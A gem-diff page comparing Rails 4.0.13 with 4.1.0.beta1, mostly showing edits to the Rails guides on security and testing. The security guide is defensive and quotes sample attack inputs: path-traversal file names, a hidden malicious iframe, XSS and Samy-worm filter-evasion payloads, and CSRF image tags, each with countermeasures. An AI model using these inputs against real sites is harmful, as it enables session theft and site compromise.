rails 4.0.13 → 4.1.0.beta1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of rails might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/README.md +20 -15
- data/guides/CHANGELOG.md +5 -74
- data/guides/assets/images/edge_badge.png +0 -0
- data/guides/assets/images/feature_tile.gif +0 -0
- data/guides/assets/images/footer_tile.gif +0 -0
- data/guides/assets/images/fxn.png +0 -0
- data/guides/assets/images/getting_started/challenge.png +0 -0
- data/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png +0 -0
- data/guides/assets/images/getting_started/new_post.png +0 -0
- data/guides/assets/images/getting_started/routing_error_no_controller.png +0 -0
- data/guides/assets/images/getting_started/routing_error_no_route_matches.png +0 -0
- data/guides/assets/images/getting_started/template_is_missing_posts_new.png +0 -0
- data/guides/assets/images/getting_started/unknown_action_create_for_posts.png +0 -0
- data/guides/assets/images/getting_started/unknown_action_new_for_posts.png +0 -0
- data/guides/assets/images/header_tile.gif +0 -0
- data/guides/assets/images/icons/README +1 -1
- data/guides/assets/images/icons/callouts/11.png +0 -0
- data/guides/assets/images/icons/callouts/12.png +0 -0
- data/guides/assets/images/icons/callouts/13.png +0 -0
- data/guides/assets/images/icons/callouts/15.png +0 -0
- data/guides/assets/images/icons/caution.png +0 -0
- data/guides/assets/images/icons/example.png +0 -0
- data/guides/assets/images/radar.png +0 -0
- data/guides/assets/images/rails4_features.png +0 -0
- data/guides/assets/images/rails_guides_kindle_cover.jpg +0 -0
- data/guides/assets/images/vijaydev.jpg +0 -0
- data/guides/assets/javascripts/guides.js +30 -34
- data/guides/assets/stylesheets/main.css +2 -1
- data/guides/assets/stylesheets/print.css +1 -1
- data/guides/bug_report_templates/action_controller_gem.rb +2 -0
- data/guides/bug_report_templates/action_controller_master.rb +2 -0
- data/guides/bug_report_templates/active_record_gem.rb +1 -1
- data/guides/bug_report_templates/active_record_master.rb +2 -1
- data/guides/code/getting_started/Gemfile +1 -1
- data/guides/code/getting_started/app/assets/javascripts/application.js +1 -2
- data/guides/code/getting_started/config/environments/development.rb +1 -1
- data/guides/code/getting_started/public/404.html +2 -0
- data/guides/code/getting_started/public/422.html +2 -0
- data/guides/code/getting_started/public/500.html +2 -0
- data/guides/rails_guides/helpers.rb +1 -1
- data/guides/source/2_2_release_notes.md +2 -2
- data/guides/source/2_3_release_notes.md +8 -8
- data/guides/source/3_0_release_notes.md +1 -2
- data/guides/source/3_1_release_notes.md +1 -1
- data/guides/source/3_2_release_notes.md +12 -12
- data/guides/source/4_0_release_notes.md +79 -46
- data/guides/source/4_1_release_notes.md +601 -0
- data/guides/source/_welcome.html.erb +1 -1
- data/guides/source/action_controller_overview.md +117 -31
- data/guides/source/action_mailer_basics.md +19 -19
- data/guides/source/action_view_overview.md +131 -12
- data/guides/source/active_model_basics.md +6 -6
- data/guides/source/active_record_basics.md +15 -15
- data/guides/source/active_record_callbacks.md +18 -16
- data/guides/source/active_record_querying.md +67 -39
- data/guides/source/active_record_validations.md +31 -31
- data/guides/source/active_support_core_extensions.md +63 -74
- data/guides/source/active_support_instrumentation.md +13 -4
- data/guides/source/api_documentation_guidelines.md +19 -5
- data/guides/source/asset_pipeline.md +544 -249
- data/guides/source/association_basics.md +81 -22
- data/guides/source/caching_with_rails.md +15 -6
- data/guides/source/command_line.md +28 -19
- data/guides/source/configuring.md +98 -50
- data/guides/source/contributing_to_ruby_on_rails.md +11 -11
- data/guides/source/credits.html.erb +2 -2
- data/guides/source/debugging_rails_applications.md +36 -5
- data/guides/source/development_dependencies_install.md +89 -8
- data/guides/source/documents.yaml +7 -1
- data/guides/source/engines.md +648 -224
- data/guides/source/form_helpers.md +56 -45
- data/guides/source/generators.md +7 -3
- data/guides/source/getting_started.md +379 -164
- data/guides/source/i18n.md +59 -23
- data/guides/source/index.html.erb +1 -1
- data/guides/source/initialization.md +153 -56
- data/guides/source/kindle/toc.html.erb +1 -1
- data/guides/source/layout.html.erb +3 -3
- data/guides/source/layouts_and_rendering.md +12 -11
- data/guides/source/maintenance_policy.md +4 -23
- data/guides/source/migrations.md +41 -37
- data/guides/source/nested_model_forms.md +3 -3
- data/guides/source/plugins.md +27 -23
- data/guides/source/rails_application_templates.md +25 -6
- data/guides/source/rails_on_rack.md +35 -51
- data/guides/source/routing.md +108 -99
- data/guides/source/ruby_on_rails_guides_guidelines.md +2 -2
- data/guides/source/security.md +33 -31
- data/guides/source/testing.md +37 -34
- data/guides/source/upgrading_ruby_on_rails.md +335 -16
- data/guides/source/working_with_javascript_in_rails.md +18 -10
- metadata +66 -39
- data/guides/assets/images/jaimeiniesta.jpg +0 -0
- data/guides/source/kindle/KINDLE.md +0 -26
@@ -51,7 +51,7 @@ Use the same typography as in regular text:
|
|
51
51
|
API Documentation Guidelines
|
52
52
|
----------------------------
|
53
53
|
|
54
|
-
The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:
|
54
|
+
The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html):
|
55
55
|
|
56
56
|
* [Wording](api_documentation_guidelines.html#wording)
|
57
57
|
* [Example Code](api_documentation_guidelines.html#example-code)
|
@@ -63,7 +63,7 @@ Those guidelines apply also to guides.
|
|
63
63
|
HTML Guides
|
64
64
|
-----------
|
65
65
|
|
66
|
-
Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.
|
66
|
+
Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.
|
67
67
|
|
68
68
|
To install the latest version of Bundler, simply run the `gem install bundler` command
|
69
69
|
|
data/guides/source/security.md
CHANGED
@@ -58,7 +58,7 @@ WARNING: _Stealing a user's session id lets an attacker use the web application
|
|
58
58
|
|
59
59
|
Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
|
60
60
|
|
61
|
-
Hence, the cookie serves as temporary authentication for the web application.
|
61
|
+
Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
|
62
62
|
|
63
63
|
* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
|
64
64
|
|
@@ -72,7 +72,7 @@ Hence, the cookie serves as temporary authentication for the web application. Ev
|
|
72
72
|
|
73
73
|
* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
|
74
74
|
|
75
|
-
The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10
|
75
|
+
The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
|
76
76
|
|
77
77
|
### Session Guidelines
|
78
78
|
|
@@ -134,7 +134,7 @@ This attack focuses on fixing a user's session id known to the attacker, and for
|
|
134
134
|
* As the new trap session is unused, the web application will require the user to authenticate.
|
135
135
|
* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
|
136
136
|
|
137
|
-
### Session Fixation
|
137
|
+
### Session Fixation - Countermeasures
|
138
138
|
|
139
139
|
TIP: _One line of code will protect you from session fixation._
|
140
140
|
|
@@ -187,11 +187,11 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails
|
|
187
187
|
* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
|
188
188
|
* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
|
189
189
|
* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
|
190
|
-
* Bob doesn't notice the attack
|
190
|
+
* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
|
191
191
|
|
192
|
-
It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere
|
192
|
+
It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
|
193
193
|
|
194
|
-
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures)
|
194
|
+
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work - _CSRF is an important security issue_.
|
195
195
|
|
196
196
|
### CSRF Countermeasures
|
197
197
|
|
@@ -230,13 +230,15 @@ Or the attacker places the code into the onmouseover event handler of an image:
|
|
230
230
|
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
|
231
231
|
```
|
232
232
|
|
233
|
-
There are many other possibilities,
|
233
|
+
There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response.
|
234
|
+
|
235
|
+
To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller:
|
234
236
|
|
235
237
|
```ruby
|
236
|
-
protect_from_forgery
|
238
|
+
protect_from_forgery
|
237
239
|
```
|
238
240
|
|
239
|
-
This will automatically include a security token
|
241
|
+
This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, the session will be reset.
|
240
242
|
|
241
243
|
It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
|
242
244
|
|
@@ -288,9 +290,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box.
|
|
288
290
|
|
289
291
|
NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
|
290
292
|
|
291
|
-
Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like
|
293
|
+
Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
|
292
294
|
|
293
|
-
When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all
|
295
|
+
When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
|
294
296
|
|
295
297
|
```ruby
|
296
298
|
def sanitize_filename(filename)
|
@@ -313,7 +315,7 @@ The solution to this is best to _process media files asynchronously_: Save the m
|
|
313
315
|
|
314
316
|
WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
|
315
317
|
|
316
|
-
The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file
|
318
|
+
The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
|
317
319
|
|
318
320
|
_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
|
319
321
|
|
@@ -327,7 +329,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa
|
|
327
329
|
send_file('/var/www/uploads/' + params[:filename])
|
328
330
|
```
|
329
331
|
|
330
|
-
Simply pass a file name like
|
332
|
+
Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
|
331
333
|
|
332
334
|
```ruby
|
333
335
|
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
|
@@ -346,13 +348,13 @@ Intranet and administration interfaces are popular attack targets, because they
|
|
346
348
|
|
347
349
|
In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
|
348
350
|
|
349
|
-
**XSS**
|
351
|
+
**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
|
350
352
|
|
351
353
|
Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
|
352
354
|
|
353
355
|
Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
|
354
356
|
|
355
|
-
**CSRF**
|
357
|
+
**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
|
356
358
|
|
357
359
|
A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
|
358
360
|
|
@@ -406,7 +408,7 @@ NOTE: _Brute-force attacks on accounts are trial and error attacks on the login
|
|
406
408
|
|
407
409
|
A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
|
408
410
|
|
409
|
-
Because of this, most web applications will display a generic error message
|
411
|
+
Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.
|
410
412
|
|
411
413
|
However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
|
412
414
|
|
@@ -447,7 +449,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
|
|
447
449
|
|
448
450
|
The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
|
449
451
|
|
450
|
-
You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:
|
452
|
+
You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
|
451
453
|
|
452
454
|
* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
|
453
455
|
* Randomize the field names
|
@@ -481,7 +483,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu
|
|
481
483
|
|
482
484
|
INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
|
483
485
|
|
484
|
-
Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books
|
486
|
+
Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
|
485
487
|
|
486
488
|
```ruby
|
487
489
|
/^https?:\/\/[^\n]+$/i
|
@@ -495,7 +497,7 @@ http://hi.com
|
|
495
497
|
*/
|
496
498
|
```
|
497
499
|
|
498
|
-
This URL passes the filter because the regular expression matches
|
500
|
+
This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
|
499
501
|
|
500
502
|
```ruby
|
501
503
|
link_to "Homepage", @user.homepage
|
@@ -646,7 +648,7 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili
|
|
646
648
|
|
647
649
|
An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
|
648
650
|
|
649
|
-
The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter
|
651
|
+
The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests.
|
650
652
|
|
651
653
|
XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
|
652
654
|
|
@@ -698,10 +700,10 @@ You can mitigate these attacks (in the obvious way) by adding the [httpOnly](htt
|
|
698
700
|
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
|
699
701
|
|
700
702
|
```html
|
701
|
-
<iframe name
|
703
|
+
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
|
702
704
|
```
|
703
705
|
|
704
|
-
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser
|
706
|
+
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
|
705
707
|
|
706
708
|
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
|
707
709
|
|
@@ -718,7 +720,7 @@ _It is very important to filter malicious input, but it is also important to esc
|
|
718
720
|
|
719
721
|
Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
|
720
722
|
|
721
|
-
Imagine a blacklist deletes
|
723
|
+
Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
|
722
724
|
|
723
725
|
```ruby
|
724
726
|
strip_tags("some<<b>script>alert('hello')<</b>/script>")
|
@@ -744,7 +746,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte
|
|
744
746
|
lert('XSS')>
|
745
747
|
```
|
746
748
|
|
747
|
-
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus
|
749
|
+
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
|
748
750
|
|
749
751
|
#### Examples from the Underground
|
750
752
|
|
@@ -760,9 +762,9 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec
|
|
760
762
|
|
761
763
|
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
|
762
764
|
|
763
|
-
Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/
|
765
|
+
Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
|
764
766
|
|
765
|
-
In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named
|
767
|
+
In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
|
766
768
|
|
767
769
|
The MySpace Samy worm will be discussed in the CSS Injection section.
|
768
770
|
|
@@ -784,13 +786,13 @@ So the payload is in the style attribute. But there are no quotes allowed in the
|
|
784
786
|
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
|
785
787
|
```
|
786
788
|
|
787
|
-
The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word
|
789
|
+
The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
|
788
790
|
|
789
791
|
```
|
790
792
|
alert(eval('document.body.inne' + 'rHTML'));
|
791
793
|
```
|
792
794
|
|
793
|
-
The next problem was MySpace filtering the word
|
795
|
+
The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this:
|
794
796
|
|
795
797
|
```html
|
796
798
|
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
|
@@ -837,7 +839,7 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_
|
|
837
839
|
|
838
840
|
### Ajax Injection
|
839
841
|
|
840
|
-
NOTE: _The same security precautions have to be taken for Ajax actions as for
|
842
|
+
NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
|
841
843
|
|
842
844
|
If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
|
843
845
|
|
@@ -861,7 +863,7 @@ WARNING: _HTTP headers are dynamically generated and under certain circumstances
|
|
861
863
|
|
862
864
|
HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
|
863
865
|
|
864
|
-
Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a
|
866
|
+
Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
|
865
867
|
|
866
868
|
```ruby
|
867
869
|
redirect_to params[:referer]
|
@@ -942,7 +944,7 @@ Or you can remove them.
|
|
942
944
|
config.action_dispatch.default_headers.clear
|
943
945
|
```
|
944
946
|
|
945
|
-
Here is
|
947
|
+
Here is a list of common headers:
|
946
948
|
|
947
949
|
* X-Frame-Options
|
948
950
|
_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
|
data/guides/source/testing.md
CHANGED
@@ -64,7 +64,7 @@ YAML-formatted fixtures are a very human-friendly way to describe your sample da
|
|
64
64
|
Here's a sample YAML fixture file:
|
65
65
|
|
66
66
|
```yaml
|
67
|
-
# lo & behold!
|
67
|
+
# lo & behold! I am a YAML comment!
|
68
68
|
david:
|
69
69
|
name: David Heinemeier Hansson
|
70
70
|
birthday: 1979-10-15
|
@@ -359,6 +359,17 @@ Notice the 'E' in the output. It denotes a test with error.
|
|
359
359
|
|
360
360
|
NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
|
361
361
|
|
362
|
+
When a test fails you are presented with the corresponding backtrace. By default
|
363
|
+
Rails filters that backtrace and will only print lines relevant to your
|
364
|
+
application. This eliminates the framwork noise and helps to focus on your
|
365
|
+
code. However there are situations when you want to see the full
|
366
|
+
backtrace. simply set the `BACKTRACE` environment variable to enable this
|
367
|
+
behavior:
|
368
|
+
|
369
|
+
```bash
|
370
|
+
$ BACKTRACE=1 rake test test/models/post_test.rb
|
371
|
+
```
|
372
|
+
|
362
373
|
### What to Include in Your Unit Tests
|
363
374
|
|
364
375
|
Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
|
@@ -412,7 +423,7 @@ Rails adds some custom assertions of its own to the `test/unit` framework:
|
|
412
423
|
| `assert_no_difference(expressions, message = nil, &block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
|
413
424
|
| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
|
414
425
|
| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
|
415
|
-
| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299,
|
426
|
+
| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range|
|
416
427
|
| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on.|
|
417
428
|
| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.|
|
418
429
|
|
@@ -640,11 +651,11 @@ The `assert_select` assertion is quite powerful. For more advanced usage, refer
|
|
640
651
|
|
641
652
|
There are more assertions that are primarily used in testing views:
|
642
653
|
|
643
|
-
| Assertion
|
644
|
-
|
|
645
|
-
| `assert_select_email`
|
646
|
-
| `assert_select_encoded`
|
647
|
-
| `css_select(selector)`
|
654
|
+
| Assertion | Purpose |
|
655
|
+
| --------------------------------------------------------- | ------- |
|
656
|
+
| `assert_select_email` | Allows you to make assertions on the body of an e-mail. |
|
657
|
+
| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
|
658
|
+
| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
|
648
659
|
|
649
660
|
Here's an example of using `assert_select_email`:
|
650
661
|
|
@@ -759,24 +770,24 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
|
|
759
770
|
|
760
771
|
private
|
761
772
|
|
762
|
-
|
763
|
-
|
764
|
-
|
765
|
-
|
766
|
-
|
773
|
+
module CustomDsl
|
774
|
+
def browses_site
|
775
|
+
get "/products/all"
|
776
|
+
assert_response :success
|
777
|
+
assert assigns(:products)
|
778
|
+
end
|
767
779
|
end
|
768
|
-
end
|
769
780
|
|
770
|
-
|
771
|
-
|
772
|
-
|
773
|
-
|
774
|
-
|
775
|
-
|
776
|
-
|
777
|
-
|
781
|
+
def login(user)
|
782
|
+
open_session do |sess|
|
783
|
+
sess.extend(CustomDsl)
|
784
|
+
u = users(user)
|
785
|
+
sess.https!
|
786
|
+
sess.post "/login", username: u.username, password: u.password
|
787
|
+
assert_equal '/welcome', path
|
788
|
+
sess.https!(false)
|
789
|
+
end
|
778
790
|
end
|
779
|
-
end
|
780
791
|
end
|
781
792
|
```
|
782
793
|
|
@@ -801,13 +812,6 @@ when you initiate a Rails project.
|
|
801
812
|
| `rake test:all` | Runs all tests quickly by merging all types and not resetting db |
|
802
813
|
| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db |
|
803
814
|
|
804
|
-
There're also some test commands which you can initiate by running rake tasks:
|
805
|
-
|
806
|
-
| Tasks | Description |
|
807
|
-
| ------------------------ | ----------- |
